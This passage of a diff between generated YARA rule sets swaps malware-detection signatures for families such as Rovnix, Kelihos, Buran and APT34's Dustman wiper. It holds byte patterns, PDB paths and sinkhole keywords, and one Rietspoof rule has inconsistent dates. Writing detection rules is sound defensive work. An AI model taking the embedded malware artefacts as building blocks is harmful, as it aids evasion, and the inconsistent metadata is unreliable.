"https://blogs.mcafee.com/mcafee-labs/rovnix-downloader-sinkhole-time-checks/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Rovnix.yar#L1-L38" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "c5adf88a46c34c8683d0e3d70529b352c77209f004e6c638ff079ea025921781" + logic_hash = "52cde40c95436129b7d48b4bd5e78b66deb84fdc84a76cc9ac72f24e0777e540" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/WastedLocker" + quality = 43 + tags = "DOWNLOADER" + malware_type = "downloader" + malware_family = "Downloader:W32/Rovnix" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "ae255679f487e2e9075ffd5e8c7836dd425229c1e3bd40cfc46fbbceceec7cf4" strings: - $pattern_0 = { 8d45fc 50 53 53 6a19 ff75f8 } - $pattern_1 = { 66833b00 8bf3 0f8485000000 8b7d10 8b472c 85c0 7410 } - $pattern_2 = { e8???????? 8b4d08 8b4518 8d0441 6683600200 83c40c 837d1400 } - $pattern_3 = { 8701 e9???????? 8bc7 5f 5e 5b } - $pattern_4 = { 8bf8 3bfb 742f 53 8d45fc 50 56 } - $pattern_5 = { 6a10 8d45f0 6a00 50 e8???????? 83c40c 5e } - $pattern_6 = { 5f 5d c20800 55 8bec } - $pattern_7 = { 8d7e04 ff15???????? 85c0 8945e8 740e 2b4510 } - $pattern_8 = { ff15???????? 8b45dc 8b4dbc 69c00d661900 055ff36e3c 8945dc } - $pattern_9 = { 8b4d08 8b19 03d8 f7d0 c1c60f 03f2 0bc6 } + $sink1 = "control" + $sink2 = "sink" + $sink3 = "hole" + $sink4 = "dynadot" + $sink5 = "block" + $sink6 = "malw" + $sink7 = "anti" + $sink8 = "googl" + $sink9 = "hack" + $sink10 = "trojan" + $sink11 = "abuse" + $sink12 = "virus" + $sink13 = "black" + $sink14 = "spam" + $boot = "BOOTKIT_DLL.dll" + $mz = { 4D 5A } condition: - 7 of them and filesize < 1806288 + $mz in ( 0 .. 2 ) and all of ( $sink* ) and $boot } -rule TRELLIX_ARC_Buran_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Kelihos_Botnet_Pdb : BOTNET FILE { meta: - description = "Rule to detect Buran ransomware" + description = "Rule to detect Kelihos malware based on PDB" author = "Marc Rivero | McAfee ATR Team" - id = "b96c0e5c-dce2-559d-9623-81e8a9a322f2" - date = "2019-11-05" + id = "2b6683a1-ba19-586b-8a92-89d4764efa12" + date = "2013-09-04" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Buran.yar#L1-L27" + reference = "https://www.malwaretech.com/2017/04/the-kelihos-botnet.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_kelhios_botnet_pdb.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "056cf2e6aca22876fb8bfafc14a3be0e42124a26edab42a6f7a928c87fb8fff4" + hash = "f0a6d09b5f6dbe93a4cf02e120a846073da2afb09604b7c9c12b2e162dfe7090" + logic_hash = "f60fb85161f86653f390b444d568da24cf07b3be99856230156741e8451e2a3f" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BOTNET, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Buran" + malware_type = "botnet" + malware_family = "Botnet:W32/Kelihos" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 } - $s2 = { 4? 33 ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 } - $s3 = { A1 ?? ?? ?? ?? 99 5? 5? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? ?? 13 ?? ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 4? 99 89 ?? ?? 89 ?? ?? FF 7? ?? FF 7? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 75 } - $s4 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 } - $s5 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 99 E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 4? 5? 8B ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 8C } + $pdb = "\\Only\\Must\\Not\\And.pdb" + $pdb1 = "\\To\\Access\\Do.pdb" condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and filesize < 1440KB and any of them } -rule TRELLIX_ARC_Backdoorfckg : CTB_LOCKER_RANSOMWARE RANSOMWARE +rule TRELLIX_ARC_Malw_Mangzamel_Trojan : TROJAN FILE { meta: - description = "CTB_Locker" - author = "ISG" - id = "2a00551d-1f80-5991-9416-d9b1b39db8e9" - date = "2015-01-20" + description = "Rule to detect Mangzamel trojan based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "ca77180f-6133-5edb-a36b-78bc6f18d80c" + date = "2014-06-25" modified = "2020-08-14" - reference = "https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_CTBLocker.yar#L1-L26" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_mangzamel_trojan_pdb.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "a334b07053db66aa0fb2d2b2ca7f94c480509041724ddd4dd1708052d75baffb" + hash = "4324580ea162a636b7db1efb3a3ba38ce772b7168b4eb3a149df880a47bd72b7" + logic_hash = "bab103c671445e0ea916fae290689d30d45021bdca58a495ebd3d6ca9ca55051" score = 75 - quality = 20 - tags = "CTB_LOCKER_RANSOMWARE, RANSOMWARE" + quality = 70 + tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/CTBLocker" + malware_type = "trojan" + malware_family = "Trojan:W32/Mangzamel" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $string0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - $stringl = "RNDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - $string2 = "keme132.DLL" - $string3 = "klospad.pdb" + $pdb = "\\svn\\sys\\binary\\i386\\agony.pdb" + $pdb1 = "\\Windows\\i386\\ndisdrv.pdb" condition: - 3 of them + uint16( 0 ) == 0x5a4d and filesize < 360KB and any of them } -/* - * YARA Rule Set - * Repository Name: Arkbird SOLG - * Repository: https://github.com/StrangerealIntel/DailyIOC - * Retrieval Date: 2026-02-22 - * Git Commit: a873ff1298c43705e9c67286f3014f4300dd04f7 - * Number of Rules: 215 - * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance) - * - * - * LICENSE - * - * NO LICENSE SET - */ -rule ARKBIRD_SOLG_RAN_Haron_Aug_2021_1 : FILE +rule TRELLIX_ARC_Rietspoof_Loader : RANSOMWARE FILE { meta: - description = "Detect Haron locker" - author = "Arkbird_SOLG" - id = "5900ad0e-66ca-5127-b8c2-cc23ace8929f" - date = "2021-08-09" - modified = "2021-08-09" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-09/RAN_Haron_Aug_2021_1.yara#L1-L22" - license_url = "N/A" - logic_hash = "5001041d9bb8acc0fa5e0e3b4cfacc5a891bed6885101ae3513b5524c91c572d" + description = "Rule to detect the Rietspoof loader" + author = "Marc Rivero | McAfee ATR Team" + id = "f306e381-e2ae-528e-937b-aced72356d77" + date = "2026-03-01" + modified = "2020-08-14" + reference = "https://blog.avast.com/rietspoof-malware-increases-activity" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_rietspoof_loader.yar#L1-L22" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "d72b58ff452070e03d0b25bc433ef5c677df77dd440adc1ecdb592cee24235fb" score = 75 - quality = 75 - tags = "FILE" - hash1 = "66ed5384220ff3091903e14a54849f824fdd13ac70dc4e0127eb59c1de801fc2" - hash2 = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c" - tlp = "white" - adversary = "Haron" + quality = 70 + tags = "RANSOMWARE, FILE" + malware_type = "ransomware" + malware_family = "Loader:W32/Rietspoof" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 02 17 8d ?? 00 00 01 [2] 16 20 [2] 00 00 20 00 ?? 00 00 [1-5] 73 [2] 01 00 0a a2 ?? 7d ?? 01 00 0a } - $s2 = { 03 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 } - $s3 = { 1f 38 16 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 13 07 7e ?? 01 00 0a 13 0b 11 07 11 0b 11 06 6e 1f 60 6a d7 88 20 00 30 00 00 1f 40 28 ?? 00 00 06 28 ?? 01 00 0a b8 13 08 11 07 02 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 28 ?? 01 00 0a b8 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 84 b8 13 09 11 07 02 7e } - $s4 = { 1f 18 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 0a 7e ?? 01 00 0a 0b 06 07 28 ?? 01 00 0a 0c 08 2c 04 07 0d 2b 6f 12 04 fe 15 ?? 00 00 02 12 04 11 04 28 ?? 00 00 2b b8 7d ?? 00 00 04 06 12 04 28 ?? 00 00 06 0c 08 2c 4a 12 04 7c ?? 00 00 04 28 ?? 01 00 0a 20 ff ff ff 7f 6a fe 02 16 fe 01 13 05 11 05 2c 17 03 12 04 7b ?? 00 00 04 17 28 ?? 01 00 0a 16 fe 01 13 06 11 06 2d 0c 06 12 04 28 ?? 00 00 06 2d c2 2b 0a 12 04 7b ?? 00 00 04 0d 09 2a 07 0d 09 2a } - $s5 = { 28 0e 00 00 0a 0b 16 0c 38 84 01 00 00 07 08 9a 0a 06 6f ?? 01 00 0a 20 00 00 80 0c 6a 3e 66 01 00 00 06 6f 0d 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 28 21 00 00 0a 39 4c 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 2d 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 0e 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a ef 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a d0 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a b1 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 92 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 76 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 5a 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 3e 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 22 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 06 06 6f 26 00 00 0a de 03 26 de 00 08 17 58 0c 08 07 8e 69 3f 73 fe ff ff 20 c4 09 00 00 28 18 00 00 0a dd 57 fe ff ff 26 dd 51 fe ff ff } - $s6 = { 7e ?? 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 6f [2] 00 0a 0a 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f [2] 00 0a 06 6f ?? 00 00 0a de 03 26 de 00 2a } - $s7 = { 28 ?? 00 00 06 0a 02 06 28 ?? 00 00 06 0b 07 6f [2] 00 0a 16 16 17 20 ff 0f 1f 00 17 14 73 [2] 00 0a 16 14 73 [2] 00 0a 6f [2] 00 0a 02 06 07 28 ?? 00 00 06 de 03 26 de 00 2a 00 00 00 } + $x1 = "\\Work\\d2Od7s43\\techloader\\loader" fullword ascii condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and 6 of ( $s* ) + uint16( 0 ) == 0x5a4d and all of them } -rule ARKBIRD_SOLG_APT_APT34_Dustman_Apr_2021_1 : FILE +rule TRELLIX_ARC_MALW_Liquorbot : MALWARE FILE { meta: - description = "Detect the Installer of Dustman wiper used by APT34" - author = "Arkbird_SOLG" - id = "071063f5-d2a4-5666-a8c4-283c02061f6d" - date = "2021-04-28" - modified = "2021-04-30" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-29/APT34/APT_APT34_Dustman_Apr_2021_1.yara#L1-L19" - license_url = "N/A" - logic_hash = "44e68fa21c1d6258bc9c0dcdc9cc531a15081122c90b23607bcfda716471aeb6" + description = "Rule to detect LiquorBot malware" + author = "Marc Rivero | McAfee ATR Team" + id = "73898df8-b5eb-50ac-a2fe-ef9233c251c5" + date = "2020-08-19" + modified = "2020-08-19" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_liquorbot.yar#L1-L23" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "2448e3ede809331b2370fe9d42d603ad6508be6531a1a8764e0e0621867b6e89" score = 75 - quality = 75 - tags = "FILE" - hash1 = "a9397eb9e95087db7e03239c689776d56c1450d685568564acd90e1532c78882" - tlp = "white" - adversary = "APT34" + quality = 70 + tags = "MALWARE, FILE" + rule_version = "v1" + malware_type = "malware" + malware_family = "Botnet:W32/LiquorBot" + actor_type = "Cybercrime" + actor_group = "Unknown" + hash1 = "5b2a9cbda99ed903f75c3b37f0a6b1b9f6c39671a76ed652f3ddba117fd43bc9" strings: - $s1 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 00 00 00 00 2f 63 20 61 67 65 6e 74 2e 65 78 65 20 41 00 00 44 00 6f 00 77 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 42 00 69 00 6e 00 20 00 53 00 61 00 6c 00 6d 00 61 00 6e 00 00 00 00 00 5c 00 } - $s2 = "\\assistant.sys" fullword wide - $s3 = { 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4f 00 72 00 61 00 63 00 6c 00 65 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 42 00 6f 00 78 00 00 00 00 00 54 68 65 20 4d 61 67 69 63 20 57 6f 72 64 21 00 56 00 42 00 6f 00 78 00 44 00 72 00 76 00 00 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 00 00 56 00 42 00 6f 00 78 00 55 00 53 00 42 00 4d 00 6f 00 6e 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 41 00 64 00 70 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 4c 00 77 00 66 } - $s4 = { 5c 00 5c 00 2e 00 5c 00 25 00 73 } - $s5 = { 68 54 00 00 00 68 00 00 00 00 68 80 69 40 00 e8 f4 0f 00 00 83 c4 0c 68 00 00 00 00 e8 ed 0f 00 00 a3 84 69 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 e8 da 0f 00 00 a3 80 69 40 00 e8 fc 2f 00 00 e8 7d 2c 00 00 e8 7a 18 00 00 e8 1d 12 00 00 e8 40 2d 00 00 68 00 00 00 00 e8 78 2f 00 00 a3 8c 69 40 00 68 00 00 00 00 e8 8d 2f 00 00 a3 90 69 40 00 c7 05 94 69 40 00 5a 00 00 00 c7 05 98 69 40 00 14 00 00 00 8b 1d 8c 69 40 00 2b 1d 94 69 40 00 83 c3 ea 89 1d 9c 69 40 00 8b 1d 90 69 40 00 2b 1d 98 69 40 00 83 c3 cc 89 1d a0 69 40 00 68 00 00 c8 00 68 18 60 40 00 ff 35 98 69 40 00 ff 35 94 69 40 00 ff 35 a0 69 40 00 ff 35 9c 69 40 00 68 00 00 00 } - $s6 = "Release\\Dustman.pdb" fullword ascii + $pattern = { 7F454C4602010100000000000000000002003E0001000000605A4600000000004000000000000000700200000000000000000000400038000A0040001B00090006000000040000004000000000000000400040000000000040004000000000003002000000000000300200000000000000100000000000000300000004000000E00F000000000000E00F400000000000E00F40000000000020000000000000002000000000000000010000000000000004000000040000007C0F0000000000007C0F4000000000007C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000040FB29000000000040FB2900000000000010000000000000010000000400000000002A000000000000006A000000000000006A0000000000E4492C0000000000E4492C000000000000100000000000000100000006000000005056000000000000509600000000000050960000000000E014040000000000681307000000000000100000000000000200000006000000405156000000000040519600000000004051960000000000300100000000000030010000000000000800000000000000070000000400000000000000000000000000000000000000000000000000000000000000000000000800000000000000080000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A00000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000600000000000000001040000000000000100000000000001FE9290000000000000000000000000010000000000000000000000000000000F000000001000000060000000000000020F969000000000020F929000000000020020000000000000000000000000000100000000000000010000000000000007000000001000000020000000000000000006A000000000000002A0000000000A678110000000000000000000000000020000000000000000000000000000000E0000000040000000200000000000000A8787B0000000000A8783B000000000018000000000000000B0000000000000008000000000000001800000000000000E6000000040000000200000000000000C0787B0000000000C0783B000000000018030000000000000B0000000200000008000000000000001800000000000000F5000000FF } condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and 4 of them + uint16( 0 ) == 0x457f and all of them } -rule ARKBIRD_SOLG_Ran_Buran_Oct_2020_1 : FILE +rule TRELLIX_ARC_Jatboss : PHISHING FILE { meta: - description = "Detect Buran ransomware" - author = "Arkbird_SOLG" - id = "dbdc251e-9ac6-5de1-8a72-72ac159daf4c" - date = "2020-11-05" - modified = "2020-11-06" - reference = "https://twitter.com/JAMESWT_MHT/status/1323956405976600579" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-06/Buran/Ran_Buran_Oct_2020_1.yar#L1-L22" - license_url = "N/A" - logic_hash = "a6984d21451c980d001e040325c66b547060653ac97556bc379da40f3ab6a70a" + description = "Rule to detect PDF files from Jatboss campaign and MSG files that contained those attachents" + author = "Marc Rivero | McAfee ATR Team" + id = "009a7486-2ee8-57ef-8dfd-fcbd035b4e85" + date = "2019-12-04" + modified = "2020-08-14" + reference = "https://exchange.xforce.ibmcloud.com/collection/JATBOSS-Phishing-Kit-17c74b38860de5cb9fc727e6c0b6d5b5" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_jatboss.yar#L1-L36" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "b81fb37dc48812f6ad61984ecf2a8dbbfe581120257cb4becad5375a12e755bb" + logic_hash = "5e6e4c8f6c0896623f166a98eb83a9a4f23139306671cf2e35ba239b2dc191fc" score = 75 - quality = 75 - tags = "FILE" - hash1 = "66fc6e71a9c6be1f604c4a2d0650914f67c45d894fd1f76913e463079d47a8af" - hash2 = "93fe277d54f4baac5762412dda6f831bf6a612f166daade7c23f6b38feac94fb" - hash3 = "b3302c4a9fd06d9fde96c9004141f80e0a9107a9dead1659e77351f1b1c87cf6" - hash4 = "eb920e0fc0c360abb901e04dce172459b63bbda3ab8152350885db4b44d63ce5" - hash5 = "f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb" - hash6 = "29cdd5206422831334afa75c113b615bb8e0121254dd9a2196703ce6b1704ff8" + quality = 66 + tags = "PHISHING, FILE" + rule_version = "v1" + malware_type = "phishing" + malware_family = "Phishing:W32/Jatboss" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = "!!! LOCALPUBKEY !!!" fullword ascii - $s2 = "!!! ENCLOCALPRIVKEY !!!" fullword ascii - $s3 = "!!! D !!!" fullword ascii - $s4 = { 8b 85 74 fd ff ff 8b 40 04 85 c0 74 05 83 e8 04 8b 00 8d 55 f4 92 e8 c1 aa fe ff 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8d 45 f4 e8 d3 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 0c 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 45 f4 8b 95 74 fd ff ff 8b 52 04 e8 da a7 fe ff 0f 84 7d 07 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 74 fd ff ff 83 c0 04 e8 63 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 10 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 50 fd ff ff 8b 10 ff 12 52 50 8b c7 99 03 85 48 fd ff ff 13 95 4c fd ff ff 3b 54 24 04 75 03 3b 04 24 5a 58 0f 85 dc 06 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 8b 85 50 fd ff ff e8 e6 cc fe ff 8b 85 74 fd ff ff 8b 40 28 85 c0 74 09 83 f8 0a 0f 85 00 01 00 00 8b 85 74 fd ff ff 83 c0 1c e8 fe a2 fe ff 8b 85 74 fd ff ff 83 c0 20 e8 f0 a2 fe ff c7 85 44 fd ff ff 01 00 00 00 b8 00 01 00 00 e8 78 44 ff ff 8b d0 8d 85 10 fd ff ff e8 b7 a4 fe ff 8b 95 10 fd ff ff 8b 85 74 fd ff ff 83 c0 20 e8 63 a5 fe ff 83 bd 44 fd ff ff 10 7f 2b b8 00 01 00 00 e8 44 44 ff ff 8b d0 8d 85 0c fd ff ff e8 83 a4 fe ff 8b 95 0c fd ff ff 8b 85 74 fd ff ff 83 c0 1c e8 2f a5 fe ff ff 85 44 fd ff ff 83 bd 44 fd ff ff 21 75 92 8b 85 74 fd ff ff 83 c0 24 50 8b 85 74 fd ff ff 8b 48 1c 8b 85 74 fd ff ff 8b 50 20 8d 85 08 fd ff ff e8 45 a5 fe ff 8b 85 08 fd ff ff 8b 95 74 fd ff ff 8d 4a 0c 8b 95 74 fd ff ff 83 c2 14 e8 c8 8f ff ff 8d 95 04 fd ff ff 8b 85 74 fd ff ff 8b 40 24 e8 0c 5c ff ff 8b 95 04 fd ff ff 8b 85 74 fd ff ff 83 c0 24 e8 60 a2 fe ff 8b 85 74 fd ff ff 83 78 28 0a 75 0d 8b 85 74 fd ff ff 33 d2 89 50 28 eb 09 8b 85 74 fd ff ff ff 40 28 8b c3 99 52 50 8b 85 48 